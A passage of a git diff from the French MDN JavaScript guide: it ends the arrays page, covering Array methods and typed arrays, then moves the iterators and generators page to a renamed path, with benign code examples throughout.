Il est aussi possible de remplir un tableau directement lors de sa création :

+ +
var monTableau = new Array("Coucou", maVar, 3.14159);
+var monTableau = ["Mangue", "Pomme", "Orange"]
+
+ +

Faire référence aux éléments d'un tableau

+ +

Il est possible de faire référence aux éléments d'un tableau en utilisant un nombre ordinal lié à l'élément. Ainsi, si on définit le tableau suivant :

+ +
var monTableau = ["Air", "Eau", "Feu"];
+
+ +

On pourra accéder au premier élément du tableau en utilisant monTableau[0], on accèdera au deuxième élément avec monTableau[1]. Les indices des éléments sont comptés à partir de 0.

+ +
+

Note : Les crochets peuvent également être utilisés pour faire référence aux propriétés du tableau (les tableaux sont des objets JavaScript à part entière). On pourra donc avoir :

+ +
var arr = ["un", "deux", "trois"];
+arr[2];         // "trois" - on accède à un élément du tableau
+arr["length"];  // 3 - on accède à une propriété du tableau
+
+
+ +

Comprendre la propriété length

+ +

En termes d'implémentation, les tableaux JavaScript stockent leurs éléments comme des propriétés normales, l'indice étant utilisé comme nom pour désigner la valeur de la propriété. La propriété length est elle un peu spéciale : elle renvoie toujours la valeur du plus grand indice du tableau plus 1. Dans l'exemple suivant, "Biduche" est placé à l'indice 30, chats.length renvoie donc 30 + 1). On rappelle que les indices des tableaux JavaScript commencent à partir de 0 et pas à partir de 1. Cela signifie que la valeur de la propriété length sera plus grande, de 1, par rapport à l'indice le plus élevé :

+ +
var chats = [];
+chats[30] = ['Biduche'];
+console.log(chats.length); // 31
+
+ +

Il est aussi possible d'affecter une valeur à la propriété length. Si la valeur fournie est inférieure au nombre d'éléments stockés, cela tronquera la tableau. Si la valeur est 0, cela videra le tableau :

+ +
var chats = ['Marie', 'Toulouse', 'Berlioz'];
+console.log(chats.length); // 3
+
+chats.length = 2;
+console.log(chats); // affiche "Marie,Toulouse" - Berlioz a été retiré
+
+chats.length = 0;
+console.log(chats); // affiche [], le tableau est vide
+
+chats.length = 3;
+console.log(chats); // [ <3 empty slots> ]
+
+ +

Parcourir un tableau

+ +

Un tableau est une structure de données qui se prête particulièrement aux boucles, on pourra utiliser ces dernières pour parcourir les éléments du tableau de façon itérative. Voici un exemple de parcours simple :

+ +
var couleurs = ['rouge', 'vert', 'bleu'];
+for (var i = 0; i < couleurs.length; i++) {
+  console.log(couleurs[i]);
+}
+
+ +

Si on sait qu'aucun des éléments ne vaut false dans un contexte booléen (par exemple, si le tableau contient des nœuds du DOM), on peut utiliser une formulation encore plus concise :

+ +
var divs = document.getElementsByTagName('div');
+for (var i = 0, div; div = divs[i]; i++) {
+  /* On effectue un traitement sur les  div */
+}
+
+ +

Cette syntaxe permet d'éviter d'avoir à vérifier la longueur du tableau et de gérer l'affectation de la variable div pour chaque élément du tableau.

+ +

La méthode {{jsxref("Array.forEach", "forEach()")}} fournit une autre méthode pour parcourir un tableau :

+ +
var couleurs = ['rouge', 'vert', 'bleu'];
+couleurs.forEach(function(couleur) {
+  console.log(couleur);
+});
+
+ +

Avec les fonctions fléchées (apparues avec ES6 / ECMAScript 2015), on peut obtenir un code plus concis :

+ +
var couleurs = ['rouge', 'vert', 'bleu'];
+couleurs.forEach(couleur => console.log(couleur));
+ +

La fonction passée comme argument à forEach() est exécutée une fois pour chacun des éléments du tableau (l'élément du tableau sera passé comme argument de cette fonction). Les éléments qui n'ont pas de valeur affectée ne sont pas parcourus lors d'une boucle forEach.

+ +

On notera que les éléments ne sont pas parcourus lorsqu'ils n'ont pas eu de valeur d'affectée. Cependant, si on a affecté la valeur {{jsxref("undefined")}} de façon explicite à un élément, il sera pris en compte lors de la boucle :

+ +
var tableau = ['premier', 'deuxième', , 'quatrième'];
+
+// affiche ['premier', 'deuxième', 'quatrième'];
+tableau.forEach(function(élément) {
+  console.log(élément);
+});
+
+if(tableau[2] === undefined) { console.log('tableau[2] vaut undefined'); } // true
+
+var tableau = ['premier', 'deuxième', undefined, 'quatrième'];
+
+// renvoie ['premier', 'deuxième', undefined, 'quatrième'];
+tableau.forEach(function(élément) {
+  console.log(élément);
+})
+ +

Étant donné que les éléments des tableaux sont stockés comme des propriétés classiques, il n'est pas conseillé d'utiliser des boucles {{jsxref("Instructions/for...in")}} pour parcourir les tableaux car cela listerait également les propriétés énumérables (en plus des éléments).

+ +

Méthodes des tableaux

+ +

L'objet Array possède les méthodes suivantes :

+ +
    +
  • {{jsxref("Array.concat", "concat()")}} permet de fusionner deux ou plusieurs tableaux et de renvoyer le résultat dans un nouveau tableau : + 
    var monTableau = new Array("1", "2", "3");
+monTableau = monTableau.concat("a", "b", "c"); // monTableau is now ["1", "2", "3", "a", "b", "c"]
+
    +
    • +
  • {{jsxref("Array.join", "join(délimiteur = ',')")}} permet de fusionner les éléments du tableau en une chaîne de caractères : + 
    var monTableau = new Array("Air", "Eau", "Feu");
+var list = monTableau.join(" - "); // list sera "Air - Eau - Feu"
+
    +
    • +
  • {{jsxref("Array.push", "push()")}} permet d'ajouter un ou plusieurs éléments à la fin d'un tableau et renvoie la longueur du tableau : + 
    var monTableau = new Array("1", "2");
+monTableau.push("3"); // monTableau vaut désormais ["1", "2", "3"]
+
    +
    • +
  • {{jsxref("Array.pop", "pop()")}} permet de retirer le dernier élément (le plus à droite) du tableau et renvoie cet élément : + 
    var monTableau = new Array("1", "2", "3");
+var dernier = monTableau.pop(); // monTableau vaut désormais ["1", "2"], dernier = "3"
+
    +
    • +
  • {{jsxref("Array.shift", "shift()")}} retire le premier élément d'un tableau (le plus à gauche) et renvoie cet élément : + 
    var monTableau = new Array("1", "2", "3");
+var premier = monTableau.shift(); // monTableau vaut désormais ["2", "3"], premier vaut "1"
+
    +
    • +
  • {{jsxref("Array.unshift", "unshift()")}} ajoute un ou plusieurs éléments au début du tableau et renvoie la longueur du tableau ainsi modifié : + 
    var monTableau = new Array("1", "2", "3");
+monTableau.unshift("4", "5"); // monTableau devient ["4", "5", "1", "2", "3"]
    +
    • +
  • {{jsxref("Array.slice", "slice(indice_début, indice_fin)")}} extrait une portion d'un tableau et renvoie un nouveau tableau avec ce fragment : + 
    var monTableau = new Array ("a", "b", "c", "d", "e");
+monTableau = monTableau.slice(1, 4); // extrait les éléments entre l'indice 1 et jusqu'à
+                                     // celui d'indice 3 (4-1), elle renvoie
+                                     // [ "b", "c", "d"]
+
    +
    • +
  • {{jsxref("Array.splice", "splice(indice, nbASupprimer, ajouterElement1, ajouterElement2, ...)")}} retire des éléments du tableau et (éventuellement) les remplace : + 
    var monTableau = new Array ("1", "2", "3", "4", "5");
+monTableau.splice(1, 3, "a", "b", "c", "d"); // monTableau vaut désormais ["1", "a", "b", "c", "d", "5"]
+  // Le code remplace à partir de l'indice 1 (où il y avait la valeur "2"), supprime trois éléments puis
+  // insère les arguments fournis à la suite.
+
    +
    • +
  • {{jsxref("Array.reverse", "reverse()")}} transpose les éléments du tableau à même ce tableau : le premier élément devient le dernier, le dernier devient le premier et ainsi de suite : + 
    var monTableau = new Array ("1", "2", "3");
+monTableau.reverse(); // monTableau vaut maintenant [ "3", "2", "1" ]
+
    +
    • +
  • {{jsxref("Array.sort", "sort()")}} trie les éléments d'un tableau à même ce tableau : + 
    var monTableau = new Array("Air", "Feu", "Eau");
+monTableau.sort(); // trie le tableau [ "Air", "Eau", "Feu" ]
+
    + +

    sort() peut également utiliser une fonction de rappel (callback) qui détermine comment les éléments sont comparés. La fonction compare deux arguments et renvoie une valeur selon les règles suivantes :

    + +
      +
    • Si a est inférieur à b selon l'ordre, renvoie -1 (ou un autre nombre négatif)
      • +
    • Si a est supérieur à b selon l'ordre, renvoie 1 (ou un autre nombre positif)
      • +
    • Si a et b sont considérés égaux, renvoie 0.
      • +
    + +

    Par exemple, on peut utilise la fonction suivante pour trier par rapport à la dernière lettre du mot :

    + + 
    var sortFn = function(a, b){
+  if (a[a.length - 1] < b[b.length - 1]) return -1;
+  if (a[a.length - 1] > b[b.length - 1]) return 1;
+  if (a[a.length - 1] == b[b.length - 1]) return 0;
+}
+monTableau.sort(sortFn); // le tableau devient = ["Air","Feu","Eau"]
    +
    • +
+ +

Du code permettant d'émuler ces fonctions est disponible sur chacune des pages (polyfill). Le support natif de ces fonctionnalités dans les différents navigateurs peut être trouvé ici.

+ +
    +
  • {{jsxref("Array.indexOf", "indexOf(élémentRecherché[, indiceDépart])")}} recherche la valeur élémentRecherché dans le tableau et renvoie l'indice du premier élément qui correspond : + + 
    var a = ['a', 'b', 'a', 'b', 'a'];
+console.log(a.indexOf('b'));    // Affiche 1
+// On recherche après la première correspondance :
+console.log(a.indexOf('b', 2)); // Affiche 3
+console.log(a.indexOf('z'));    // Affiche -1 car 'z' n'a pas été trouvé
+
    +
    • +
  • {{jsxref("Array.lastIndexOf", "lastIndexOf(élémentRecherché[, fromIndex])")}} fonctionne comme indexOf, mais recherche à partir de la fin du tableau : + 
    var a = ['a', 'b', 'c', 'd', 'a', 'b'];
+console.log(a.lastIndexOf('b'));    // Affiche 5
+// On continue la recherche après la première correspondance en fin de tableau
+console.log(a.lastIndexOf('b', 4)); // Affiche 1
+console.log(a.lastIndexOf('z'));    // Affiche -1
+
    +
    • +
  • {{jsxref("Array.forEach", "forEach(callback[, objetThis])")}} exécute la fonction callback sur chaque élément du tableau. + 
    var a = ['a', 'b', 'c'];
+a.forEach(console.log); // Affichera la valeur de chaque élément dans la console
+
    +
    • +
  • {{jsxref("Array.map", "map(callback[, objetThis])")}} renvoie un nouveau tableau dont les éléments sont les images des éléments du tableau courant par la fonction callback : + 
    var a1 = ['a', 'b', 'c'];
+var a2 = a1.map(function(item) { return item.toUpperCase(); });
+console.log(a2); // affichera A,B,C dans la console
+
    +
    • +
  • {{jsxref("Array.filter", "filter(callback[, objetThis])")}} renvoie un nouveau tableau qui contient les éléments du tableau courant pour lesquels callback a renvoyé true. + 
    var a1 = ['a', 10, 'b', 20, 'c', 30];
+var a2 = a1.filter(function(item) { return typeof item == 'number'; });
+console.log(a2); // Affichera 10,20,30 dans la console
+
    +
    • +
  • {{jsxref("Array.every", "every(callback[, objetThis])")}} renvoie true si callback renvoie true pour chaque élément du tableau. + 
    function isNumber(value){
+  return typeof value === 'number';
+}
+var a1 = [1, 2, 3];
+console.log(a1.every(isNumber)); // affiche true
+var a2 = [1, '2', 3];
+console.log(a2.every(isNumber)); // affiche false
+
    +
    • +
  • {{jsxref("Array.some", "some(callback[, objetThis])")}} renvoie true si callback renvoie true pour au moins un élément du tableau. + 
    function isNumber(value){
+  return typeof value === 'number';
+}
+var a1 = [1, 2, 3];
+console.log(a1.some(isNumber)); // Affiche true
+var a2 = [1, '2', 3];
+console.log(a2.some(isNumber)); // Affiche true
+var a3 = ['1', '2', '3'];
+console.log(a3.some(isNumber)); // Affiche false
+
    +
    • +
+ +

Les méthodes présentées ci-avant qui prennent une fonction de rappel (callback) en argument sont appelées méthodes itératives car elles parcourent le tableau de façon itérative. Chacune de ces méthodes peut prendre en compte un deuxième argument (optionnel) qui sera l'objet this pris en compte par le callback. Si ce deuxième argument n'est pas fourni, this vaudra la valeur de l'objet global.

+ +

La fonction de rappel est appelée avec trois arguments : le premier étant la valeur de l'élément courant, le deuxième est l'indice de cet élément et le troisième représente le tableau lui-même. Les fonctions JavaScript ignorent les arguments supplémentaires qui ne sont pas déclarés explicitement dans la liste des paramètres, on peut donc utiliser une fonction prenant un seul argument comme fonction de rappel.

+ +
    +
  • {{jsxref("Array.reduce", "reduce(callback[, valeurInitiale])")}} applique callback(premièreValeur, secondeValeur) au fur et à mesure sur le tableau pour le réduire en une seule valeur, c'est cette valeur qui est renvoyée par la fonction : + + 
    var a = [10, 20, 30];
+var total = a.reduce(function(premier, deuxième) { return premier + deuxième; }, 0);
+console.log(total) // Affiche 60
+
    +
    • +
  • {{jsxref("Array.reduceRight", "reduceRight(callback[, valeurInitiale])")}} fonctionne comme reduce(), mais débute avec le dernier élément (parcourt le tableau de droite à gauche).
    • +
+ +

reduce() et reduceRight() sont à utiliser lorsqu'on souhaite n'obtenir qu'une seule valeur, récursivement, à partir des différents éléments du tableau. Pour plus d'informations sur l'utilisation d'une valeur d'initialisation pour ces deux fonctions, se référer à leurs pages : {{jsxref("Array.reduceRight")}} et {{jsxref("Array.reduce")}}

+ +

Tableaux multi-dimensionnels

+ +

Les tableaux peuvent être imbriqués les uns dans les autres. Cela signifie qu'un tableau peut avoir un élément dont la valeur est un tableau. En utilisant ce comportement, on peut donc créer des matrices, voire des tableaux à plusieurs dimensions.

+ +

Par exemple, avec le code suivant :

+ +
var a = new Array(4);
+for (i = 0; i < 4; i++) {
+  a[i] = new Array(4);
+  for (j = 0; j < 4; j++) {
+    a[i][j] = "[" + i + "," + j + "]";
+  }
+}
+
+ +

On pourra avoir le tableau suivant sur deux dimensions :

+ +
Ligne 0 : [0,0] [0,1] [0,2] [0,3]
+Ligne 1 : [1,0] [1,1] [1,2] [1,3]
+Ligne 2 : [2,0] [2,1] [2,2] [2,3]
+Ligne 3 : [3,0] [3,1] [3,2] [3,3]
+
+ +

Les tableaux et les expressions rationnelles

+ +

Lorsqu'un tableau est le résultat d'une correspondance entre une expression rationnelle et une chaîne de caractères, les éléments et propriétés du tableau fournissent des informations sur la correspondance. Les méthodes suivantes peuvent renvoyer un tableau : {{jsxref("Objets_globaux/RegExp/exec","RegExp.exec()")}}, {{jsxref("Objets_globaux/String/match/exec","String.match()")}},  {{jsxref("Objets_globaux/String/split","String.split()")}}. Pour plus d'informations sur les tableaux et les expressions rationnelles, voir le chapitre du guide JavaScript sur les expressions rationnelles.

+ +

Manipuler des objets semblables à des tableaux

+ +

Certains objets JavaScript tels que {{domxref("NodeList")}} (renvoyé par {{domxref("document.getElementsByTagName()")}}) ou l'objet arguments (disponible au sein d'une fonction) ressemblent à des tableaux mais n'en sont pas (ils n'ont pas toutes les méthodes décrites ci-avant par exemple). Ainsi, l'objet arguments fournit une propriété {{jsxref("Objets_globaux/Function/length","length")}} mais n'implémente pas la méthode {{jsxref("Array.forEach", "forEach()")}}.

+ +

Les méthodes du prototype des tableaux permettent d'utiliser les méthodes d'objets Array sur des objets semblables à des tableaux :

+ +
 function alertArguments() {
+   Array.prototype.forEach.call(arguments, function(item) {
+     console.log(item);
+   });
+ }
+
+ +

Il est possible d'utiliser ces méthodes génériques sur des chaînes de caractères :

+ +
Array.prototype.forEach.call("une chaîne", function(chr) {
+   console.log(chr);
+});
+ +

Les tableaux typés

+ +

Les tableaux typés JavaScript sont des objets semblables à des tableaux qui fournissent un moyen d'accéder à des données binaires. Comme on l'a vu ci-avant, les objets {{jsxref("Array")}} grandissent et rétrécissent dynamiquement et peuvent contenir n'importe quelle valeur JavaScript. Les moteurs JavaScript effectuent des optimisations afin que les tableaux puissent être utilisés rapidement. Cependant, avec le développement des applications web, les applications viennent à manipuler des données audio, vidéo, binaires et accèdent à des données brutes via les WebSockets d'autres outils. Il apparaît donc nécessaire d'avoir les outils JavaScript pertinents pour manipuler efficacement des données binaires, organisées au sein de tableaux typés.

+ +

Les vues et les tampons de mémoire (buffers) : l'architecture des tableaux typés

+ +

Afin de permettre un maximum de flexibilité et d'efficacité, les tableaux typés JavaScript séparent l'implémentation entre les tampons (buffers) et les vues (views). Un tampon de mémoire, implémenté par l'objet {{jsxref("ArrayBuffer")}}, est un objet représentant un fragment de données. Un tampon n'a pas de format a proprement parler et il ne fournit aucun mécanisme pour accéder à son contenu. Afin d'accéder à la mémoire contenu dans le tampon, on a besoin d'utiliser une vue. Une vue fournit un contexte, c'est-à-dire un type de donnée, un indice de départ et un nombre d'éléments, qui permet de traiter les données initiales comme un vrai tableau typé.

+ +

Typed arrays in an ArrayBuffer

+ +

ArrayBuffer

+ +

Le type {{jsxref("ArrayBuffer")}} est un type de donnée utilisé pour représenter un tampon de données binaire générique dont la longueur est fixée. Un tampon de données ne peut pas être manipulé directement. Pour manipuler les données, il faut créer une vue sur le tableau typé ou un objet {{jsxref("DataView")}} qui représente le tampon dans un format spécifique et qui pourra être utilisé pour lire et écrire des informations du tampon.

+ +

Les vues qui sont des tableaux typés

+ +

Les vues de tableaux typés possèdent des noms explicites et fournissent des vues pour les types numériques usuels tels que Int8, Uint32, Float64 et ainsi de suite. Il existe un type de vue spécial qui est Uint8ClampedArray. Ce type ramène les différentes valeurs exploitées entre 0 et 255. Cela peut notamment être utile pour le traitement des données d'un canvas.

+ +

{{page("/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray", "Les_objets_TypedArray")}}

+ +

Pour plus d'informations sur les tableaux typés, voir l'article de la référence sur les différents objets {{jsxref("TypedArray")}}.

+ +

{{PreviousNext("Web/JavaScript/Guide/Expressions_régulières", "Web/JavaScript/Guide/Collections_avec_clés")}}

diff --git a/files/fr/web/javascript/guide/iterateurs_et_generateurs/index.html b/files/fr/web/javascript/guide/iterateurs_et_generateurs/index.html deleted file mode 100644 index d714b614cf..0000000000 --- a/files/fr/web/javascript/guide/iterateurs_et_generateurs/index.html +++ /dev/null @@ -1,175 +0,0 @@ ---- -title: Itérateurs et générateurs -slug: Web/JavaScript/Guide/iterateurs_et_generateurs -tags: - - Guide - - Intermediate - - JavaScript -translation_of: Web/JavaScript/Guide/Iterators_and_Generators ---- -
{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Utiliser_les_promesses", "Web/JavaScript/Guide/Métaprogrammation")}}
- -

Effectuer des traitements sur chacun des éléments d'une collection est une opération très fréquente. Il existe plusieurs outils natifs dans JavaScript pour parcourir une collection, les boucles for, map(), filter(). Les itérateurs et les générateurs font de ce concept d'itération une fonctionnalité principale du langage et permettent d'adapter et de personnaliser le comportement des boucles for...of.

- -

Pour plus de détails sur les mécanismes d'itération, voir les pages suivantes :

- -
    -
  • Les protocoles d'itération
    • -
  • {{jsxref("Instructions/for...of","for...of")}}
    • -
  • {{jsxref("Instructions/function*","function*")}} et {{jsxref("Generator")}}
    • -
  • {{jsxref("Opérateurs/yield","yield")}} et {{jsxref("Opérateurs/yield*","yield*")}}
    • -
- -

Itérateurs

- -

Un itérateur est un objet sachant comment accéder aux éléments d'une collection un par un et qui connait leur position dans la collection. En JavaScript, un itérateur expose une méthode next() qui retourne l'élément suivant dans la séquence. Cette méthode renvoie un objet possédant deux propriétés : done et value.

- -

Un itérateur est "terminé" lorsque l'appel à la méthode next() renvoie un objet dont la propriété done vaut true.

- -

Une fois créé, un itérateur peut être utilisé explicitement en appelant sa méthode next(), ou implicitement en utilisant la boucle for...in.

- -

Voici un exemple d'une fonction créant un itérateur qui parcourt l'intervalle défini par ses arguments (depuis debut (inclus) jusqu'à end (exclus) et avec pas comme incrément. La valeur finale qui est renvoyée correspond à la taille de la séquence créée

- -
function creerIterateurIntervalle(debut = 0, fin = Infinity, pas = 1) {
-  let prochainIndex = debut;
-  let nbIterations = 0;
-
-  const rangeIterator = {
-    next: function() {
-      let resultat;
-      if (prochainIndex < fin) {
-        resultat = { value: prochainIndex, done: false };
-        prochainIndex += pas;
-        nbIterations++;
-        return resultat;
-      }
-      return { value: nbIterations, done: true }
-    }
-  };
-  return rangeIterator;
-}
- -

On pourra alors utiliser cette fonction et l'itérateur de la façon suivante :

- -
let it = creerIterateurIntervalle(1, 10, 2);
-
-let resultat = it.next();
-while (!resultat.done) {
- console.log(resultat.value); // 1 3 5 7 9
- resultat = it.next();
-}
-
-console.log("La séquence parcourue contenait ", result.value, " éléments.");
-
- -

Itérables

- -

Un objet est considéré comme itérable s'il définit le comportement qu'il aura lors de l'itération (par exemple les valeurs qui seront utilisées dans une boucle {{jsxref("Instructions/for...of", "for...of")}}). Certains types natifs, tels qu'{{jsxref("Array")}} ou {{jsxref("Map")}}, possède un comportement par défaut pour les itérations, cependant d'autres types comme les Objets, ne possèdent pas ce comportement.

- -

Pour qu'un objet soit itérable, un objet doit implémenter la méthode @@iterator, cela signifie que l'objet (ou un des objets de la chaîne de prototypes) doit avoir une propriété avec la clé {{jsxref("Symbol.iterator")}}. Cette fonction doit également, même si ce n'est pas une obligation, renvoyer une nouvel opérateur à chaque appel.

- -

Itérables personnalisés

- -

Il est possible de définir ses propres itérables de cette façon :

- -
var monItérable = {};
-monItérable[Symbol.iterator] = function* () {
-    yield 1;
-    yield 2;
-    yield 3;
-};
-[...monItérable] // [1, 2, 3]
-
- -

Itérables natifs

- -

{{jsxref("String")}}, {{jsxref("Array")}}, {{jsxref("TypedArray")}}, {{jsxref("Map")}} et {{jsxref("Set")}} sont des itérables natifs car les prototypes de chacun ont tous une méthode {{jsxref("Symbol.iterator")}}.

- -

Les éléments de syntaxe utilisant des itérables

- -

Certaines instructions ou expressions utilisent des itérables, par exemple les boucles {{jsxref("Instructions/for...of","for...of")}} et {{jsxref("Opérateurs/yield*","yield*")}}.

- -
for(let value of ["a", "b", "c"]){
-    console.log(value)
-}
-// "a"
-// "b"
-// "c"
-
-[..."abc"] // ["a", "b", "c"]
-
-function* gen(){
-  yield* ["a", "b", "c"]
-}
-
-gen().next() // { value:"a", done:false }
-
-[a, b, c] = new Set(["a", "b", "c"])
-a // "a"
-
-
- -

Générateurs

- -

Les itérateurs personnalisés sont un outil utile mais leur création peut s'avérer complexe et il faut maintenir leur état interne. Avec les générateurs, on peut définir une seule fonction qui est un algorithme itératif et qui peut maintenir son état.

- -

Un générateur est un type de fonction spécial qui fonctionne comme une fabrique (factory) d'itérateurs. Une fonction devient un générateur lorsqu'elle contient une ou plusieurs expressions yield et qu'elle utilise la syntaxe function*.

- -
function* idMaker(){
-  var index = 0;
-  while(true)
-    yield index++;
-}
-
-var gen = idMaker();
-
-console.log(gen.next().value); // 0
-console.log(gen.next().value); // 1
-console.log(gen.next().value); // 2
-// ...
- -

Générateurs avancés

- -

Les générateurs calculent les valeurs à fournir à la demande, ce qui leur permet de représenter efficacement des suites complexes à calculer, voire des séries infinies (comme vu dans l'exemple précédent).

- -

La méthode next() accepte également un argument qui pourra être utilisé pour modifier l'état interne du générateur. Une valeur passée à next() sera traitée comme le résultat de la dernière expression yield qui a interrompu le générateur. Une valeur passée au premier appel de next() sera toujours ignorée.

- -

Par exemple, on peut avoir un générateur pour la suite de Fibonnaci et utiliser next(x) pour redémarrer la série :

- -
function* fibonacci(){
-  var fn1 = 0;
-  var fn2 = 1;
-  while (true){
-    var current = fn1;
-    fn1 = fn2;
-    fn2 = fn1 + current;
-    var reset = yield current;
-    if (reset){
-        fn1 = 0;
-        fn2 = 1;
-    }
-  }
-}
-
-var sequence = fibonacci();
-console.log(sequence.next().value);     // 0
-console.log(sequence.next().value);     // 1
-console.log(sequence.next().value);     // 1
-console.log(sequence.next().value);     // 2
-console.log(sequence.next().value);     // 3
-console.log(sequence.next().value);     // 5
-console.log(sequence.next().value);     // 8
-console.log(sequence.next(true).value); // 0
-console.log(sequence.next().value);     // 1
-console.log(sequence.next().value);     // 1
-console.log(sequence.next().value);     // 2
- -

Il est possible de forcer un générateur à lever une exception en utilisant la méthode throw() en lui passant la valeur de l'exception en argument. Cette exception sera levée depuis l'état actuel du générateur, comme si le yield qui était en attente avait été une instruction throw valeur.

- -

Si le mot-clé yield n'est pas trouvé lors de la levée de l'exception, l'exception sera propagée jusqu'à l'appel de throw(), les appels à next() qui suivent renverront une valeur dont la propriété done sera true.

- -

Si l'exception n'est pas interceptée dans le générateur, elle se propagera jusqu'à l'appel de throw() et les appels suivants de next() renverront un objet dont la propriété done vaut true.

- -

Les générateurs possèdent une méthode return(valeur) qui permet de renvoyer une valeur donnée et de terminer le générateur.

- -

{{PreviousNext("Web/JavaScript/Guide/Utiliser_les_promesses", "Web/JavaScript/Guide/Métaprogrammation")}}

diff --git a/files/fr/web/javascript/guide/iterators_and_generators/index.html b/files/fr/web/javascript/guide/iterators_and_generators/index.html new file mode 100644 index 0000000000..d714b614cf --- /dev/null +++ b/files/fr/web/javascript/guide/iterators_and_generators/index.html @@ -0,0 +1,175 @@ +--- +title: Itérateurs et générateurs +slug: Web/JavaScript/Guide/iterateurs_et_generateurs +tags: + - Guide + - Intermediate + - JavaScript +translation_of: Web/JavaScript/Guide/Iterators_and_Generators +--- +
{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Utiliser_les_promesses", "Web/JavaScript/Guide/Métaprogrammation")}}
+ +

Effectuer des traitements sur chacun des éléments d'une collection est une opération très fréquente. Il existe plusieurs outils natifs dans JavaScript pour parcourir une collection, les boucles for, map(), filter(). Les itérateurs et les générateurs font de ce concept d'itération une fonctionnalité principale du langage et permettent d'adapter et de personnaliser le comportement des boucles for...of.

+ +

Pour plus de détails sur les mécanismes d'itération, voir les pages suivantes :

+ +
    +
  • Les protocoles d'itération
    • +
  • {{jsxref("Instructions/for...of","for...of")}}
    • +
  • {{jsxref("Instructions/function*","function*")}} et {{jsxref("Generator")}}
    • +
  • {{jsxref("Opérateurs/yield","yield")}} et {{jsxref("Opérateurs/yield*","yield*")}}
    • +
+ +

Itérateurs

+ +

Un itérateur est un objet sachant comment accéder aux éléments d'une collection un par un et qui connait leur position dans la collection. En JavaScript, un itérateur expose une méthode next() qui retourne l'élément suivant dans la séquence. Cette méthode renvoie un objet possédant deux propriétés : done et value.

+ +

Un itérateur est "terminé" lorsque l'appel à la méthode next() renvoie un objet dont la propriété done vaut true.

+ +

Une fois créé, un itérateur peut être utilisé explicitement en appelant sa méthode next(), ou implicitement en utilisant la boucle for...in.

+ +

Voici un exemple d'une fonction créant un itérateur qui parcourt l'intervalle défini par ses arguments (depuis debut (inclus) jusqu'à end (exclus) et avec pas comme incrément. La valeur finale qui est renvoyée correspond à la taille de la séquence créée

+ +
function creerIterateurIntervalle(debut = 0, fin = Infinity, pas = 1) {
+  let prochainIndex = debut;
+  let nbIterations = 0;
+
+  const rangeIterator = {
+    next: function() {
+      let resultat;
+      if (prochainIndex < fin) {
+        resultat = { value: prochainIndex, done: false };
+        prochainIndex += pas;
+        nbIterations++;
+        return resultat;
+      }
+      return { value: nbIterations, done: true }
+    }
+  };
+  return rangeIterator;
+}
+ +

On pourra alors utiliser cette fonction et l'itérateur de la façon suivante :

+ +
let it = creerIterateurIntervalle(1, 10, 2);
+
+let resultat = it.next();
+while (!resultat.done) {
+ console.log(resultat.value); // 1 3 5 7 9
+ resultat = it.next();
+}
+
+console.log("La séquence parcourue contenait ", result.value, " éléments.");
+
+ +

Itérables

+ +

Un objet est considéré comme itérable s'il définit le comportement qu'il aura lors de l'itération (par exemple les valeurs qui seront utilisées dans une boucle {{jsxref("Instructions/for...of", "for...of")}}). Certains types natifs, tels qu'{{jsxref("Array")}} ou {{jsxref("Map")}}, possède un comportement par défaut pour les itérations, cependant d'autres types comme les Objets, ne possèdent pas ce comportement.

+ +

Pour qu'un objet soit itérable, un objet doit implémenter la méthode @@iterator, cela signifie que l'objet (ou un des objets de la chaîne de prototypes) doit avoir une propriété avec la clé {{jsxref("Symbol.iterator")}}. Cette fonction doit également, même si ce n'est pas une obligation, renvoyer une nouvel opérateur à chaque appel.

+ +

Itérables personnalisés

+ +

Il est possible de définir ses propres itérables de cette façon :

+ +
var monItérable = {};
+monItérable[Symbol.iterator] = function* () {
+    yield 1;
+    yield 2;
+    yield 3;
+};
+[...monItérable] // [1, 2, 3]
+
+ +

Itérables natifs

+ +

{{jsxref("String")}}, {{jsxref("Array")}}, {{jsxref("TypedArray")}}, {{jsxref("Map")}} et {{jsxref("Set")}} sont des itérables natifs car les prototypes de chacun ont tous une méthode {{jsxref("Symbol.iterator")}}.

+ +

Les éléments de syntaxe utilisant des itérables

+ +

Certaines instructions ou expressions utilisent des itérables, par exemple les boucles {{jsxref("Instructions/for...of","for...of")}} et {{jsxref("Opérateurs/yield*","yield*")}}.

+ +
for(let value of ["a", "b", "c"]){
+    console.log(value)
+}
+// "a"
+// "b"
+// "c"
+
+[..."abc"] // ["a", "b", "c"]
+
+function* gen(){
+  yield* ["a", "b", "c"]
+}
+
+gen().next() // { value:"a", done:false }
+
+[a, b, c] = new Set(["a", "b", "c"])
+a // "a"
+
+
+ +

Générateurs

+ +

Les itérateurs personnalisés sont un outil utile mais leur création peut s'avérer complexe et il faut maintenir leur état interne. Avec les générateurs, on peut définir une seule fonction qui est un algorithme itératif et qui peut maintenir son état.

+ +

Un générateur est un type de fonction spécial qui fonctionne comme une fabrique (factory) d'itérateurs. Une fonction devient un générateur lorsqu'elle contient une ou plusieurs expressions yield et qu'elle utilise la syntaxe function*.

+ +
function* idMaker(){
+  var index = 0;
+  while(true)
+    yield index++;
+}
+
+var gen = idMaker();
+
+console.log(gen.next().value); // 0
+console.log(gen.next().value); // 1
+console.log(gen.next().value); // 2
+// ...
+ +

Générateurs avancés

+ +

Les générateurs calculent les valeurs à fournir à la demande, ce qui leur permet de représenter efficacement des suites complexes à calculer, voire des séries infinies (comme vu dans l'exemple précédent).

+ +

La méthode next() accepte également un argument qui pourra être utilisé pour modifier l'état interne du générateur. Une valeur passée à next() sera traitée comme le résultat de la dernière expression yield qui a interrompu le générateur. Une valeur passée au premier appel de next() sera toujours ignorée.

+ +

Par exemple, on peut avoir un générateur pour la suite de Fibonnaci et utiliser next(x) pour redémarrer la série :

+ +
function* fibonacci(){
+  var fn1 = 0;
+  var fn2 = 1;
+  while (true){
+    var current = fn1;
+    fn1 = fn2;
+    fn2 = fn1 + current;
+    var reset = yield current;
+    if (reset){
+        fn1 = 0;
+        fn2 = 1;
+    }
+  }
+}
+
+var sequence = fibonacci();
+console.log(sequence.next().value);     // 0
+console.log(sequence.next().value);     // 1
+console.log(sequence.next().value);     // 1
+console.log(sequence.next().value);     // 2
+console.log(sequence.next().value);     // 3
+console.log(sequence.next().value);     // 5
+console.log(sequence.next().value);     // 8
+console.log(sequence.next(true).value); // 0
+console.log(sequence.next().value);     // 1
+console.log(sequence.next().value);     // 1
+console.log(sequence.next().value);     // 2
+ +

